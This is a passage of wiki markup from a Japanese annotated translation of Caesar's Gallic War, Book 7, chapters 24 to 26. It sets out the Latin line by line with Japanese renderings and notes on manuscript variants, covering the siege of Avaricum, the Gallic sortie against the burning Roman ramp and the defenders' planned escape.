*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:latus#Latin:_wide|latum]] [[wikt:en:pes#Latin|pedes]] CCCXXX&lt;small&gt; ([[wikt:en:trecenti#Latin|trecenti]] [[wikt:en:triginta#Latin|triginta]])&lt;/small&gt;, [[wikt:en:altus#Latin|altum]] pedes LXXX&lt;small&gt; ([[wikt:en:octoginta#Latin|octoginta]])&lt;/small&gt; [[wikt:en:exstruxerunt#Latin|exstruxerunt]]. 
**幅330&lt;u&gt;ペース&lt;/u&gt;、高さ80&lt;u&gt;ペース&lt;/u&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、幅330ペースは約98メートル。高さ80ペースは約24メートル。）&lt;/span&gt;
:　
;　　　アウァーリクムに籠城するガッリア勢が、攻囲するローマ勢の土塁に夜襲をしかける
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Cum is [[wikt:en:murus#Latin|murum]] hostium paene [[wikt:en:contingeret#Latin|contingeret]], 
**それ&lt;small&gt;〔ローマ側の土塁〕&lt;/small&gt;が敵の城壁にほとんど接しようとしていたとき、
*et Caesar ad [[wikt:en:opus#Latin|opus]] [[wikt:en:consuetudo#Latin|consuetudine]] [[wikt:en:excubaret#Latin|excubaret]] 
**かつ、カエサルが習慣により作業のそばで寝ずの番をしていて、
*[[wikt:en:miles#Latin|milites]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:hortaretur#Latin|hortaretur]], ne [[wikt:en:aliquod#Latin|quod]] [[wikt:en:omnino#Latin|omnino]] [[wikt:en:tempus#Latin|tempus]] ab [[wikt:en:opus#Latin|opere]] [[wikt:en:intermitteretur#Latin|intermitteretur]], 
**いかなる時も作業がまったく中断されないように、と兵士たちを励ましていたときに、
*paulo ante tertiam [[wikt:en:vigilia#Latin|vigiliam]] 
**第三夜警時の少し前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：第三夜警時は、真夜中から日の出までの時間帯の前半。「未明」&lt;br&gt;　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*est [[wikt:en:animadversus#Participle|animadversum]] [[wikt:en:fumo#Latin|fumare]] [[wikt:en:agger#Latin|aggerem]], 
**土塁に煙が上がっていることが気付かれた。
*quem [[wikt:en:cuniculus#Latin|cuniculo]] hostes [[wikt:en:succenderant#Latin|succenderant]]; 
**&lt;small&gt;（その土塁を）&lt;/small&gt;[[w:坑道|坑道]]によって敵たちが焼き討ちしていたものである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:idem#Latin|eodem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tempus#Latin|tempore]] 
**そして同時に、
*[[wikt:en:totus#Latin|toto]] [[wikt:en:murus#Latin|muro]] [[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Latin:_raised|sublato]], 
**&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁全体で雄叫びが上がって、
*duabus portis ab [[wikt:en:uterque#Latin|utroque]] [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:turris#Latin|turrium]] 
**二つの城門より、&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]の両方の側面から
*[[wikt:en:eruptio#Latin|eruptio]] [[wikt:en:fiebat#Latin|fiebat]].
**&lt;small&gt;（ガッリア勢による）&lt;/small&gt;突撃がなされていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Alii [[wikt:en:fax#Latin|faces]] atque [[wikt:en:aridus#Latin|aridam]] &lt;u&gt;materiam&lt;/u&gt; de [[wikt:en:murus#Latin|muro]] in [[wikt:en:agger#Latin|aggerem]] [[wikt:en:eminus#Latin|eminus]] [[wikt:en:iaciebant#Latin|iaciebant]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;他の者たちは、&lt;ruby&gt;&lt;rb&gt;[[w:たいまつ|松明]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たいまつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;および乾いた材木を、城壁から&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁に、遠くから投げ込んで、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:materiam#Latin|materiam]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:materiem#Latin|materiem]] となっている。&lt;br&gt;　　　　　　　　　文法学者[[w:カエサレアのプリスキアヌス|プリスキアーヌス]]は、カエサルの文法書 &quot;De Analogia&quot; について materiam と引用している。）&lt;/span&gt;
*[[wikt:en:pix#Latin|picem]] [[wikt:en:reliquus#Latin|reliquas]]&lt;nowiki&gt;que&lt;/nowiki&gt; res, quibus [[wikt:en:ignis#Latin|ignis]] [[wikt:en:excitari#Latin|excitari]] potest, [[wikt:en:fundebant#Latin|fundebant]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、火を燃え立たせられるほかのもの&lt;small&gt;〔可燃物〕&lt;/small&gt;を注ぎ込んだ。
*ut, [[wikt:en:quo#Latin:_where|quo]] primum &lt;u&gt;curreretur&lt;/u&gt; aut cui rei [[wikt:en:ferretur#Latin|ferretur]] [[wikt:en:auxilium#Latin|auxilium]], 
**それで、まずどこに駆け付けるのか、あるいはどの事態に支援がなされるのか、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:curreretur#Latin|curreretur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:occurreretur#Latin|occurreretur]] となっている。）&lt;/span&gt;
*vix [[wikt:en:ratio#Latin|ratio]] [[wikt:en:iniri#Latin|iniri]] posset. 
**&lt;small&gt;（ローマ兵には）&lt;/small&gt;ほとんど分別され得なかった。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Tamen, quod [[wikt:en:institutum#Latin|instituto]] Caesaris &lt;u&gt;semper duae&lt;/u&gt; [[wikt:en:legio#Latin|legiones]] pro [[wikt:en:castra#Latin|castris]] [[wikt:en:excubabant#Latin|excubabant]] 
**しかしながら、カエサルの定めにより常に2個[[w:ローマ軍団|軍団]]が陣営の前に寝ずの番をしていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順では semper duae だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順では duae semper となっている。）&lt;/span&gt;
*[[wikt:en:plus#Latin|plures]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:partitus#Latin|partitis]] [[wikt:en:tempus#Latin|temporibus]] erant in [[wikt:en:opus#Latin|opere]], 
**かつ、より多くの者たちが時間を割り当てられて作業していたので、
*celeriter [[wikt:en:factus#Latin|factum]] est, 
**&lt;small&gt;（防戦は）&lt;/small&gt;速やかになされた。
*ut &lt;u&gt;alii&lt;/u&gt; [[wikt:en:eruptio#Latin|eruptionibus]] [[wikt:en:resisterent#Latin|resisterent]], 
**ある者たちは&lt;small&gt;（ガッリア勢の）&lt;/small&gt;突撃に抵抗しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：alii ～ alii …「～する者もいれば、…する者もいる。」）&lt;/span&gt;
*&lt;u&gt;alii&lt;/u&gt; [[wikt:en:turris#Latin|turres]] [[wikt:en:reducerent#Latin|reducerent]] 
**別のある者たちは[[w:攻城塔|攻城櫓]]を引き戻して、
*[[wikt:en:agger#Latin|aggerem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:interscinderent#Latin|interscinderent]], 
**土塁を&lt;small&gt;（城壁側から）&lt;/small&gt;切り離していた。
*omnis vero ex [[wikt:en:castra#Latin|castris]] [[wikt:en:multitudo#Latin|multitudo]] ad [[wikt:en:restinguendum#Verb|restinguendum]] [[wikt:en:concurreret#Latin|concurreret]].
**さらに陣営から大勢の皆が、消火するために急ぎ集まっていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===25節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/25節]]　{{進捗|00%|2026-06-29}}&lt;/span&gt;
;籠城ガッリア勢が必死の防戦

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum in omnibus locis, &lt;u&gt;[[wikt:en:consumptus#Latin|consumpta]] iam reliqua parte noctis&lt;/u&gt;, [[wikt:en:pugnaretur#Latin|pugnaretur]], 
**&lt;u&gt;すでに夜も明けて&lt;/u&gt;、至る所で戦われていたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「すでに夜の残りの部分も費やされて」。）&lt;/span&gt;
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; hostibus [[wikt:en:spes#Latin|spes]] [[wikt:en:victoria#Latin|victoriae]] [[wikt:en:redintegraretur#Latin|redintegraretur]], 
**かつ、常に敵たちにとって勝利の希望が蘇っており、
*&lt;u&gt;eo magis, quod&lt;/u&gt; [[wikt:en:deustus#Latin|deustos]] [[wikt:en:pluteus#Latin|pluteos]] [[wikt:en:turris#Latin|turrium]] [[wikt:en:videbant#Latin|videbant]] nec facile [[wikt:en:adire#Latin|adire]] [[wikt:en:apertus#Latin|apertos]] ad [[wikt:en:auxiliandum#Verb|auxiliandum]]  [[wikt:en:animadvertebant#Latin|animadvertebant]], 
**&lt;span style=&quot;font-family:Times New Roman;font-size:11pt;&quot;&gt;[[w:攻城塔|攻城櫓]]の&lt;ruby&gt;&lt;rb&gt;障壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;プルテウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;焼き落された&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;デウストゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のを見ていて、&lt;ruby&gt;&lt;rb&gt;身を曝した者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アペルトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちが救援のために容易に近づけないのに気付いていた&lt;u&gt;のでなおさらだったが&lt;/u&gt;、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo magis quod|eo magis quod]] ～ 「～なので、その分だけ、より一層」。[[ガリア戦記 第3巻#14節|第3巻14節]]も参照。）&lt;/span&gt; 
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; ipsi [[wikt:en:recens#Adjective|recentes]] [[wikt:en:defessus#Latin|defessis]] [[wikt:en:succederent#Latin|succederent]] 
**常に彼ら自身&lt;small&gt;〔籠城ガッリア勢〕&lt;/small&gt;は新たな者たちが疲れ果てた者たちに交代しており、
*[[wikt:en:omnis#Latin|omnem]]&lt;nowiki&gt;que&lt;/nowiki&gt; Galliae [[wikt:en:salus#Latin|salutem]] &lt;u&gt;in illo [[wikt:en:vestigium#Latin|vestigio]] temporis [[wikt:en:positus#Participle|positam]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt;&lt;/u&gt; [[wikt:en:arbitrarentur#Latin|arbitrarentur]], 
**ガッリアのすべての安全が、&lt;u&gt;その瞬間にかかっている&lt;/u&gt;と思われていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「その時の足跡（瞬間）に置かれている」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以上の cum ～ arbitrarentur, が状況や理由を説明する副文で、以下が主文となっている。）&lt;/span&gt;
*[[wikt:en:accidit#Etymology_1|accidit]] [[wikt:en:inspectans#Latin|inspectantibus]] nobis, 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が見ているなかで起こったのは、
*[[wikt:en:quod#Pronoun|quod]] [[wikt:en:dignus#Latin|dignum]] [[wikt:en:memoria#Latin|memoria]] [[wikt:en:visus#Participle|visum]] [[wikt:en:praetereundus#Latin|praetereundum]] non [[wikt:en:existimavimus#Latin|existimavimus]]. 
**記憶に値すると思われたことを&lt;small&gt;（我がローマ勢が）&lt;/small&gt;見過ごすべきではないと考えていたことである。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この主文の主語を省略せずに記せば、以下のようになる。&lt;br&gt;　　　　[id], quod dignum memoria visum [esse] praetereundum [esse] non existimavimus.）&lt;/span&gt;

[[画像:048_Conrad_Cichorius,_Die_Reliefs_der_Traianssäule,_Tafel_XLVIII_(Ausschnitt 01).jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を操作する[[w:ダキア人|ダキア人]]の彫刻（[[w:トラヤヌスの記念柱|トラヤヌス帝の記念柱]]に刻まれた[[w:レリーフ|レリーフ]]）。]]
[[画像:Balliste_fireing.jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（[[w:en:Scorpio (dart-thrower)|Scorpio]]）の現代における復元。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quidam#Determiner|Quidam]] ante portam oppidi [[wikt:en:Gallus#Noun|Gallus]], &lt;u&gt;qui&lt;/u&gt; 
**城塞都市の城門の前にいた、ある&lt;small&gt;（1人の）&lt;/small&gt;ガッリア人が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の qui は、&amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*per [[wikt:en:manus#Latin:_hand|manus]] [[wikt:en:sebum#Latin|sebi]] ac [[wikt:en:pix#Latin|picis]] [[wikt:en:traditus#Participle|traditas]] [[wikt:en:glaeba#Latin|glaebas]] 
**手から手へと渡された&lt;ruby&gt;&lt;rb&gt;獣脂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;セーブム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の塊を、
*in [[wikt:en:ignis#Latin|ignem]] &lt;u&gt;e regione&lt;/u&gt; turris [[wikt:en:proiciebat#Latin|proiciebat]]: 
**攻城櫓の正面にある火炎の中に投げ込んでいたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*[[wikt:en:scorpio#Latin|scorpione]] ab [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:dexter#Latin|dextro]] [[wikt:en:traiectus#Participle|traiectus]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で右の横腹を射られて、
*[[wikt:en:exanimatus#Latin|exanimatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:concidit#Verb|concidit]]. 
**息絶えて倒れた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hunc ex [[wikt:en:proximus#Noun|proximis]] unus [[wikt:en:iacens#Latin|iacentem]] [[wikt:en:transgressus#Latin|transgressus]] 
**彼が倒れているのを、すぐ近くの者たちのうちの1人が乗り越えて、
*[[wikt:en:idem#Latin|eodem]] illo [[wikt:en:munus#Latin|munere]] [[wikt:en:fungebatur#Latin|fungebatur]]; 
**その同じ&lt;ruby&gt;&lt;rb&gt;任務&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムーヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を果たしていた。
*[[wikt:en:idem#Latin|Eadem]] [[wikt:en:ratio#Latin|ratione]] [[wikt:en:ictus#Noun_4|ictu]] [[wikt:en:scorpio#Latin|scorpionis]] [[wikt:en:exanimatus#Latin|exanimato]] 
**&lt;small&gt;（その第2の者が）&lt;/small&gt;同様に&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の射撃で息絶えさせられると
*alteri [[wikt:en:successit#Latin|successit]] tertius 
**&lt;small&gt;（息絶えた）&lt;/small&gt;第2の者に第3の者が代わって、
*et tertio quartus, 
**&lt;small&gt;（さらに）&lt;/small&gt;第3の者に第4の者が&lt;small&gt;（代わった）&lt;/small&gt;。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; &lt;u&gt;nec prius&lt;/u&gt; ille est a [[wikt:en:propugnator#Latin|propugnatoribus]] [[wikt:en:vacuus#Latin|vacuus]] [[wikt:en:relictus#Participle|relictus]] locus 
**防戦者たちは、持ち場を放棄することがなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：直訳は「その場（ille locus）は、防戦者たちによって空&lt;small&gt;〔無人〕&lt;/small&gt;にして置かれることがなかった。」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec [[wikt:en:prius#Adverb|prius]] ～ [[wikt:en:quam#Conjunction|quam]] …「…するまでは～しなかった」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:restinctus#Latin|restincto]] [[wikt:en:agger#Latin|aggere]] atque &lt;u&gt;omni ex parte&lt;/u&gt; [[wikt:en:submotus#Latin|submotis]] hostibus [[wikt:en:finis#Latin:_end|finis]] est [[wikt:en:pugnandi#Verb|pugnandi]] [[wikt:en:factus#Latin:_done|factus]].
**&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が鎮火されて、そのすべての方面から敵たちが追い払われて、戦いに終止符が打たれる&lt;u&gt;までは&lt;/u&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、omni &lt;u&gt;ex&lt;/u&gt; parte は ''[[ガリア戦記/注解編/写本と校訂版#Ciacconius|Ciacconius]]'' による修正で、&lt;br&gt;　　　　&amp;alpha;系写本では omni &lt;u&gt;ea&lt;/u&gt; parte &lt;br&gt;　　　　&amp;beta;系写本では omni parte となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===26節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/26節]]　{{進捗|00%|2026-07-13}}&lt;/span&gt;
;アウァーリクム脱出の企て、女たちの絶叫
:　
;　　　万策尽きたガッリア勢が、アウァーリクム脱出を企てる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:omnia#Noun|Omnia]] [[wikt:en:expertus#Participle|experti]] [[wikt:en:Galli#Latin|Galli]], 
**ガッリア人たちはあらゆることを試みたが、
*quod res [[wikt:en:nullus#Determiner|nulla]] [[wikt:en:successerat#Latin|successerat]], 
**何ら事が成功しなかったので、
*[[wikt:en:posterus#Latin|postero]] die [[wikt:en:consilium#Latin|consilium]] [[wikt:en:ceperunt#Latin|ceperunt]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:profugio#Latin|profugere]], 
**&lt;small&gt;（戦いの夜が明けて）&lt;/small&gt;翌日には、&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から退避する計画を立てた。
*[[wikt:en:hortans#Latin|hortante]] et [[wikt:en:iubens#Latin|iubente]] [[wikt:en:Vercingetorix#Latin|Vercingetorige]]. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]によって促され、命じられたものであった。
:　
;　　　脱出をはかるガッリア勢の期待とその理由
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Id [[wikt:en:silentium#Latin|silentio]] noctis [[wikt:en:conatus#Participle|conati]] 
**そのこと&lt;small&gt;〔アウァーリクムからの退避〕&lt;/small&gt;を夜の静けさのうちに試みても、
*non magna &lt;u&gt;iactura&lt;/u&gt; suorum 
**味方の大きな&lt;ruby&gt;&lt;rb&gt;犠牲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ヤクトゥーラ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;もなしに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iactura#Noun|iactura]] は「投げ捨てること」、比喩的に「損害、犠牲」。）&lt;/span&gt;
*sese [[wikt:en:effecturus#Latin|effecturos]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt; [[wikt:en:sperabant#Latin|sperabant]], 
**自分たちは成し遂げるだろうと期待していた。
*&lt;u&gt;propterea quod&lt;/u&gt; &lt;u&gt;neque&lt;/u&gt; longe ab oppido [[wikt:en:castra#Latin|castra]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:aberant#Latin|aberant]], 
**──というのも、ウェルキンゲトリークスの陣営は&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からあまり離れていなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:propterea_quod#Latin|propterea quod]] ～「なぜなら～からである」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：neque ～  et …「～ではなく、…である」）&lt;/span&gt;
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:palus#Latin|palus]], &lt;u&gt;quae [[wikt:en:perpetuus#Latin|perpetua]]&lt;/u&gt; [[wikt:en:intercedebat#Latin|intercedebat]], [[wikt:en:Romani#Latin|Romanos]] ad [[wikt:en:insequendum#Verb|insequendum]] [[wikt:en:tardabat#Latin|tardabat]]. 
**沼地も絶え間なく介在していて、ローマ人たちの追跡を遅らせていたからだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本の語順は quae perpetua だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本の語順は perpetua quae となっている。）&lt;/span&gt;
:　
;　　　母親たちが男たちに、女子供を置き去りにして敵のいけにえにするな、と哀願する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:iam#Latin|Iam]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;hoc&lt;/u&gt; facere [[wikt:en:noctu#Latin|noctu]] [[wikt:en:apparabant#Latin|apparabant]], 
**すでに、&lt;u&gt;このことを&lt;/u&gt;実行することを夜間に準備していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:haec#Latin|haec]]&lt;sub&gt;&amp;nbsp;(中性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed.pr]] では [[wikt:en:hoc#Latin:_this|hoc]]&lt;sub&gt;&amp;nbsp;(中性･単数･対格)&lt;/sub&gt; としている。）&lt;/span&gt;
*&lt;u&gt;cum&lt;/u&gt; [[wikt:en:mater#Latin|matres]] [[wikt:en:familia#Latin|familiae]] [[wikt:en:repente#Adverb_2|repente]] in [[wikt:en:publicum#Noun|publicum]] [[wikt:en:procurrerunt#Latin|procurrerunt]], 
**そのときに家族の母親たちが不意に公の場に走り出て来て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cum は、「倒逆のcum」（[[wikt:en:cum inversum|cum inversum]]）と呼ばれ、&lt;br&gt;　　　　cum 以下 ～ impediret までの副文が、上記の主文よりも重要な構文の中心になる。）&lt;/span&gt;
*[[wikt:en:flens#Latin|flentes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:proiectus#Latin|proiectae]] ad [[wikt:en:pes#Latin|pedes]] suorum 
**泣きながら、味方&lt;small&gt;（の男たち）&lt;/small&gt;の足元に&lt;small&gt;（身を）&lt;/small&gt;投げ出して、
*omnibus [[wikt:en:prex#Latin|precibus]] [[wikt:en:petierunt#Latin|petierunt]], 
**あらゆる懇願でもって頼んだ。
*ne se et [[wikt:en:communis#Latin|communes]] [[wikt:en:liberi#Noun_2|liberos]] hostibus ad [[wikt:en:supplicium#Latin|supplicium]] [[wikt:en:dederent#Latin|dederent]], 
**自分たち&lt;small&gt;〔女たち〕&lt;/small&gt;と&lt;small&gt;（男たちとの）&lt;/small&gt;共通の子供たちを、処刑されることのために敵方に引き渡さないで、
*&lt;u&gt;quos&lt;/u&gt; ad [[wikt:en:capiendus#Latin|capiendam]] [[wikt:en:fuga#Latin|fugam]] [[wikt:en:natura#Latin|naturae]] et [[wikt:en:vis#Latin|virium]] [[wikt:en:infirmitas#Latin|infirmitas]] [[wikt:en:impediret#Latin|impediret]]. 
**それらの者&lt;small&gt;〔女子供たち〕&lt;/small&gt;が逃亡をとるためには、性質や体力の弱さが、妨げるのだ、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:quos#Latin|quos]]&lt;sub&gt;&amp;nbsp;(男性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:quas#Latin|quas]]&lt;sub&gt;&amp;nbsp;(女性･複数･対格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　窮した母親たちが、男たちの脱出の兆候をローマ人に伝えようとする
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] eos in [[wikt:en:sententia#Latin|sententia]] [[wikt:en:perstare#Latin|perstare]] [[wikt:en:viderunt#Latin|viderunt]], 
**彼ら&lt;small&gt;〔男たち〕&lt;/small&gt;が&lt;small&gt;（女･子供を置き去りで脱出するという）&lt;/small&gt;意思を固持していると&lt;small&gt;〔女たちが〕&lt;/small&gt;見て取るや、
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:plerumque#Adverb|plerumque]] in [[wikt:en:summus#Latin|summo]] [[wikt:en:periculum#Latin|periculo]] [[wikt:en:timor#Latin|timor]] [[wikt:en:misericordia#Latin|misericordiam]] non [[wikt:en:recipit#Latin|recipit]], 
